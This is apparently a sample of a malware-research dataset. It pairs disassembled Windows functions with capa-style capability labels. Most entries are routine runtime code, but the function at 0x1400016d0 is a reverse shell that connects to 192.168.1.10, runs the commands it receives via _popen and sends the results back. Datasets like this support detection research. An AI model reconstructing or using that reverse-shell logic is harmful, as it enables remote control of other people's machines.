joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140026124
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140026154
xor eax, eax
jmp 0x140026217
mov rbp, rbx
cmp word [rax], si
je 0x140026179
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140026160
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002615c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140024898
movsxd r14, eax
test eax, eax
jne 0x1400261b7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002614d
mov rcx, r14
call fcn.140022ae0
mov rdi, rax
test rax, rax
jne 0x1400261d0
xor ecx, ecx
call fcn.14001db00
jmp 0x1400261ac
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140024898
test eax, eax
jne 0x140026201
mov rcx, rdi
call fcn.14001db00
jmp 0x14002620b
xor ecx, ecx
call fcn.14001db00
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002938c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001d728
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002942d
cmp ebx, dword [rsp + 0x30]
je 0x140029426
test esi, esi
je 0x140029426
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140029401
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14002940e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400293eb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140029412
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002942f
mov eax, 1
jmp 0x14002942f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14002c0ac
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140019990
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002c136
cmp byte [rbp - 0x21], r15b
je 0x14002c131
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14002c16c
call fcn.14001de5c
test eax, eax
jne 0x14002c158
cmp byte [rbp - 0x21], r15b
je 0x14002c150
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14002c16c
cmp byte [rbp - 0x21], r15b
je 0x14002c169
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140019ac0
test eax, eax
jne 0x14002c20c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140019990
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14002c1ab
cmp byte [rbp - 0x21], r15b
je 0x14002c1e0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14002c1e0
call fcn.14001de5c
test eax, eax
jne 0x14002c1cc
cmp byte [rbp - 0x21], r15b
je 0x14002c1c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14002c1e0
cmp byte [rbp - 0x21], r15b
je 0x14002c1dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140019ac0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14002c20c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14002c20f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14002c21d
mov rcx, rdi
call fcn.14001db00
cmp byte [rbp + 0x3f], r15b
je 0x14002c22c
mov rcx, qword [rbp + 0x27]
call fcn.14001db00
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002c8d8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140022568
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140022568
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002ca28
cmp rax, 0xffffffffffffffff
je 0x14002ca28
xor edi, edi
test rbp, rbp
jle 0x14002c9d3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001da88
mov rbx, rax
test rax, rax
jne 0x14002c960
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002c9c9
mov edx, 0x8000
mov ecx, r14d
call fcn.14001afb8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140020944
cmp eax, 0xffffffff
je 0x14002c9a9
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14002c970
mov edx, r15d
mov ecx, r14d
call fcn.14001afb8
jmp 0x14002c9c9
cmp byte [rsi + 0x38], dil
je 0x14002c9c0
cmp dword [rsi + 0x34], 5
jne 0x14002c9c0
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002c9c9
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001db00
jmp 0x14002ca3c
jns 0x14002ca3c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140022568
cmp rax, 0xffffffffffffffff
jne 0x14002c9f4
cmp byte [rsi + 0x30], dil
je 0x14002ca3c
mov edi, dword [rsi + 0x2c]
jmp 0x14002ca3c
mov ecx, r14d
call fcn.140026e38
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14002ca3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14002ca3c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14002ca35
mov eax, dword [rsi + 0x2c]
jmp 0x14002ca3a
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140022568
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002d890
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002d8b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002d8b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x4052c9
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x370
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea rax, [0x0057302f]
mov r11, rax
mov rax, qword [rbp + 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x405317
jmp 0x405326
movabs rax, 0
jmp 0x40551a
mov eax, 2
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_ftell
movsxd rax, eax
mov qword [rbp - 0x10], rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 8]
mov r9, rax
mov rax, qword [rbp - 0x10]
mov r8, rax
movabs rax, 1
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fread
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
movabs rax, 0x318
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x330]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x330]
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
lea rax, [0x00404fd1]
mov r8, rax
mov eax, dword [rbp - 0x10]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401ef5
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x18]
cmp rax, 0
je 0x405467
mov rax, qword [rbp + 0x18]
mov ecx, dword [rbp - 0x330]
mov dword [rax], ecx
mov rax, qword [rbp + 0x20]
cmp rax, 0
je 0x405481
mov rax, qword [rbp + 0x20]
mov ecx, dword [rbp - 0x32c]
mov dword [rax], ecx
mov rax, qword [rbp + 0x28]
cmp rax, 0
je 0x40549b
mov rax, qword [rbp + 0x28]
mov ecx, dword [rbp - 0x320]
mov dword [rax], ecx
mov rax, qword [rbp + 0x30]
cmp rax, 0
je 0x405513
mov eax, 0
mov dword [rbp - 0x334], eax
mov eax, dword [rbp - 0x320]
mov ecx, 3
imul eax, ecx
mov ecx, dword [rbp - 0x334]
cmp ecx, eax
jge 0x405513
jmp 0x4054e6
mov eax, dword [rbp - 0x334]
add eax, 1
mov dword [rbp - 0x334], eax
jmp 0x4054b4
mov eax, dword [rbp - 0x334]
movsxd rax, eax
mov rcx, qword [rbp + 0x30]
add rcx, rax
mov eax, dword [rbp - 0x334]
movsxd rax, eax
lea rdx, [rbp - 0x31c]
add rdx, rax
movzx eax, byte [rdx]
sar eax, 2
mov byte [rcx], al
jmp 0x4054d5
mov rax, qword [rbp - 0x328]
leave
ret
Function at 0x4052d4
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x370
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea rax, [0x0057302f]
mov r11, rax
mov rax, qword [rbp + 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x405317
jmp 0x405326
movabs rax, 0
jmp 0x40551a
mov eax, 2
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_ftell
movsxd rax, eax
mov qword [rbp - 0x10], rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 8]
mov r9, rax
mov rax, qword [rbp - 0x10]
mov r8, rax
movabs rax, 1
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fread
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
movabs rax, 0x318
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x330]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x330]
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
lea rax, [0x00404fd1]
mov r8, rax
mov eax, dword [rbp - 0x10]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401ef5
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x18]
cmp rax, 0
je 0x405467
mov rax, qword [rbp + 0x18]
mov ecx, dword [rbp - 0x330]
mov dword [rax], ecx
mov rax, qword [rbp + 0x20]
cmp rax, 0
je 0x405481
mov rax, qword [rbp + 0x20]
mov ecx, dword [rbp - 0x32c]
mov dword [rax], ecx
mov rax, qword [rbp + 0x28]
cmp rax, 0
je 0x40549b
mov rax, qword [rbp + 0x28]
mov ecx, dword [rbp - 0x320]
mov dword [rax], ecx
mov rax, qword [rbp + 0x30]
cmp rax, 0
je 0x405513
mov eax, 0
mov dword [rbp - 0x334], eax
mov eax, dword [rbp - 0x320]
mov ecx, 3
imul eax, ecx
mov ecx, dword [rbp - 0x334]
cmp ecx, eax
jge 0x405513
jmp 0x4054e6
mov eax, dword [rbp - 0x334]
add eax, 1
mov dword [rbp - 0x334], eax
jmp 0x4054b4
mov eax, dword [rbp - 0x334]
movsxd rax, eax
mov rcx, qword [rbp + 0x30]
add rcx, rax
mov eax, dword [rbp - 0x334]
movsxd rax, eax
lea rdx, [rbp - 0x31c]
add rdx, rax
movzx eax, byte [rdx]
sar eax, 2
mov byte [rcx], al
jmp 0x4054d5
mov rax, qword [rbp - 0x328]
leave
ret
Function at 0x437452
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, dword [rbp + 0x20]
cmp eax, 0
mov eax, 0
setg al
cmp eax, 0
je 0x437480
mov eax, dword [rbp + 0x20]
movsxd rax, eax
jmp 0x43748f
movabs rax, 0
jmp 0x43748f
lea rcx, [rbp - 4]
mov qword [rsp + 0x28], rcx
mov ecx, 0
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp + 0x18]
mov r9, rcx
mov rcx, qword [rbp + 0x10]
mov r8, rcx
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateThread
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x4374e2
jmp 0x4374f1
movabs rax, 0
jmp 0x4374f5
mov rax, qword [rbp - 0x10]
leave
ret
Function at 0x443178
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x68]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetStartupInfoA
mov eax, dword [rbp - 0x2c]
and eax, 1
cmp eax, 0
je 0x4431b1
movzx eax, word [rbp - 0x28]
mov dword [rbp - 0x7c], eax
jmp 0x4431b9
mov eax, 0xa
mov dword [rbp - 0x7c], eax
movabs rax, 0
mov qword [rbp - 0x70], rax
call sub.kernel32.dll_GetCommandLineA
mov qword [rbp - 0x78], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0
je 0x4431fb
mov rax, qword [rbp + 0x10]
mov r11, rax
mov rax, qword [rbp - 0x78]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strstr
mov qword [rbp - 0x70], rax
movabs rax, 0
mov rcx, qword [rbp - 0x70]
cmp rax, rcx
jne 0x44322d
lea rax, [0x00577f40]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__strdup
mov qword [rbp - 0x70], rax
jmp 0x44325e
mov rax, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x78]
cmp rax, rcx
jbe 0x44325e
mov rax, qword [rbp - 0x70]
add rax, 0xffffffffffffffff
movsx ecx, byte [rax]
cmp ecx, 0x22
jne 0x44325e
mov rax, qword [rbp - 0x70]
add rax, 0xffffffffffffffff
mov qword [rbp - 0x70], rax
mov eax, 0x30000
mov r11, rax
mov eax, 0x10000
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__controlfp
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
mov ecx, dword [rbp - 0x7c]
mov r9, rcx
mov rcx, qword [rbp - 0x70]
mov r8, rcx
movabs rcx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0044298a
leave
ret

Function at 0x443183
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x68]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetStartupInfoA
mov eax, dword [rbp - 0x2c]
and eax, 1
cmp eax, 0
je 0x4431b1
movzx eax, word [rbp - 0x28]
mov dword [rbp - 0x7c], eax
jmp 0x4431b9
mov eax, 0xa
mov dword [rbp - 0x7c], eax
movabs rax, 0
mov qword [rbp - 0x70], rax
call sub.kernel32.dll_GetCommandLineA
mov qword [rbp - 0x78], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0
je 0x4431fb
mov rax, qword [rbp + 0x10]
mov r11, rax
mov rax, qword [rbp - 0x78]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strstr
mov qword [rbp - 0x70], rax
movabs rax, 0
mov rcx, qword [rbp - 0x70]
cmp rax, rcx
jne 0x44322d
lea rax, [0x00577f40]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__strdup
mov qword [rbp - 0x70], rax
jmp 0x44325e
mov rax, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x78]
cmp rax, rcx
jbe 0x44325e
mov rax, qword [rbp - 0x70]
add rax, 0xffffffffffffffff
movsx ecx, byte [rax]
cmp ecx, 0x22
jne 0x44325e
mov rax, qword [rbp - 0x70]
add rax, 0xffffffffffffffff
mov qword [rbp - 0x70], rax
mov eax, 0x30000
mov r11, rax
mov eax, 0x10000
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__controlfp
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
mov ecx, dword [rbp - 0x7c]
mov r9, rcx
mov rcx, qword [rbp - 0x70]
mov r8, rcx
movabs rcx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0044298a
leave
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005460]
mov dword [rax], 1
mov rax, qword [0x140005470]
mov dword [rax], 1
mov rax, qword [0x140005480]
mov dword [rax], 1
mov rax, qword [0x140005420]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
mov eax, 0x37d0
call fcn.140002ff0
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [0x1400090a0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x140009238], rax
mov word [0x140009240], 2
mov eax, dword [0x140004010]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x140009242], ax
mov rax, qword [str.192.168.1.10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x140009244], eax
mov rax, qword [0x140009238]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x140009240]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov dword [rbp + 0x374c], eax
mov eax, dword [rbp + 0x374c]
mov edx, eax
lea rax, [0x14000505d]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x374c], 0
je 0x1400017eb
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp + 0x374c], 0
jne 0x140001776
mov rax, qword [0x140009238]
lea rdx, [rbp + 0x2730]
mov r9d, 0
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x3748], eax
cmp dword [rbp + 0x3748], 0
jle 0x140001911
mov eax, dword [rbp + 0x3748]
cdqe
mov byte [rbp + rax + 0x2730], 0
lea rdx, [rbp + 0x2730]
lea rax, [rbp - 0x40]
mov r9, rdx
lea r8, [0x140005061]
mov edx, 0x1000
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x40]
lea rdx, [0x140005064]
mov rcx, rax
mov rax, qword [sym.imp.ucrtbase.dll__popen]
call rax
mov qword [rbp + 0x3740], rax
cmp qword [rbp + 0x3740], 0
je 0x140001911
mov rdx, qword [rbp + 0x3740]
lea rax, [rbp + 0xfc0]
mov r9, rdx
mov r8d, 0x176f
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp + 0x3738], rax
lea rdx, [rbp + 0xfc0]
mov rax, qword [rbp + 0x3738]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x3740]
mov rcx, rax
mov rax, qword [sym.imp.ucrtbase.dll__pclose]
call rax
lea rax, [rbp + 0xfc0]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rax, qword [0x140009238]
lea rdx, [rbp + 0xfc0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp dword [rbp + 0x3748], 0
jg 0x1400017f4
mov rax, qword [0x140009238]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x37d0
pop rbp
ret
Function at 0x140001cd0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400029a2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009328]
test eax, eax
je 0x140002a3a
lea rax, [0x140009300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009330]
mov qword [rbp - 8], rax
jmp 0x140002a1e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002a12
cmp qword [rbp - 0x10], 0
je 0x140002a12
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400029d8
lea rax, [0x140009300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002a3b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002b40
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002b68
mov eax, 0
jmp 0x140002bb6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002b91
mov eax, 0
jmp 0x140002bb6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002bb1
mov eax, 0
jmp 0x140002bb6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002bbc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
